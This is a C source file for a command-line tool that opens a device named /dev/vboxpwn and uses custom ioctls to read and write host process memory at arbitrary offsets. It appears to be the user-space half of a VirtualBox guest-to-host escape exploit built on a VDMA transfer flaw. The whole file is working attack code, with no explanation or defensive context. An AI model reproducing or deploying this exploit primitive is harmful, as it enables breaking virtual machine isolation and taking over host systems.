| #include <sys/ioctl.h> |
| #include <stdint.h> |
| #include <stdlib.h> |
| #include <unistd.h> |
| #include <string.h> |
| #include <fcntl.h> |
| #include <stdio.h> |
| #include "syncrw.h" |
| #include "pwn.h" |
| |
| #define BUFFER_SIZE 1024 |
| |
| int main(int argc, char **argv) { |
| struct pwn_request req; |
| unsigned int offset_bits = sizeof(void *) * 8; // Must match host process memory model |
| |
| if(argc < 3) { |
| fprintf(stderr, "Usage: %s [--32|--64] {read|write} <offset> [<count>]\n", argv[0]); |
| return -1; |
| } |
| |
| if(argv[1][0] == '-') { |
| if(strcmp(argv[1], "--32") == 0) offset_bits = 32; |
| else if(strcmp(argv[1], "--64") == 0) offset_bits = 64; |
| else { |
| fprintf(stderr, "%s: Invalid option '%s'\n", argv[0], argv[1]); |
| return -1; |
| } |
| argv[1] = argv[0]; |
| argv++; |
| argc--; |
| } |
| |
| int fd = open("/dev/vboxpwn", O_RDWR); |
| if(fd == -1) { |
| perror("/dev/vboxpwn"); |
| return 1; |
| } |
| |
| union { |
| uint32_t o32; |
| uint64_t o64; |
| } offset; |
| if(offset_bits == 32) offset.o32 = strtol(argv[2], NULL, 0); |
| else offset.o64 = strtoll(argv[2], NULL, 0); |
| #define OFFSET (offset_bits == 32 ? offset.o32 : offset.o64) |
| |
| if(strcmp(argv[1], "read") == 0) { |
| uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu; |
| req.offset = OFFSET; |
| req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count); |
| if(!req.data) { |
| perror("malloc"); |
| return 1; |
| } |
| while(count > BUFFER_SIZE) { |
| req.size = BUFFER_SIZE; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| int s = sync_write(STDOUT_FILENO, req.data, BUFFER_SIZE); |
| if(s <= 0) { |
| if(s < 0) perror("write"); |
| return 0; |
| } |
| if(offset_bits == 64) req.offset += BUFFER_SIZE; |
| else req.offset = (uint32_t)req.offset + BUFFER_SIZE; |
| } |
| req.size = count; |
| fprintf(stderr, "data = %p\n", req.data); |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| fprintf(stderr, "data = %p\n", req.data); |
| int s = sync_write(STDOUT_FILENO, req.data, count); |
| if(s < 0) perror("write"); |
| return 0; |
| } else if(strcmp(argv[1], "write") == 0) { |
| uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu; |
| req.offset = OFFSET; |
| req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count); |
| if(!req.data) { |
| perror("malloc"); |
| return 1; |
| } |
| while(count > BUFFER_SIZE) { |
| int s = sync_read(STDIN_FILENO, req.data, BUFFER_SIZE); |
| if(s <= 0) { |
| if(s < 0) { |
| perror("read"); |
| return 1; |
| } |
| return 0; |
| } |
| req.size = s; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| if(offset_bits == 64) req.offset += s; |
| else req.offset = (uint32_t)req.offset + s; |
| } |
| int s = sync_read(STDIN_FILENO, req.data, count); |
| if(s <= 0) { |
| if(s < 0) { |
| perror("read"); |
| return 1; |
| } |
| return 0; |
| } |
| req.size = s; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| return 0; |
| } else { |
| fprintf(stderr, "%s: Unknown subcommand '%s'\n", argv[0], argv[1]); |
| return -1; |
| } |
| } |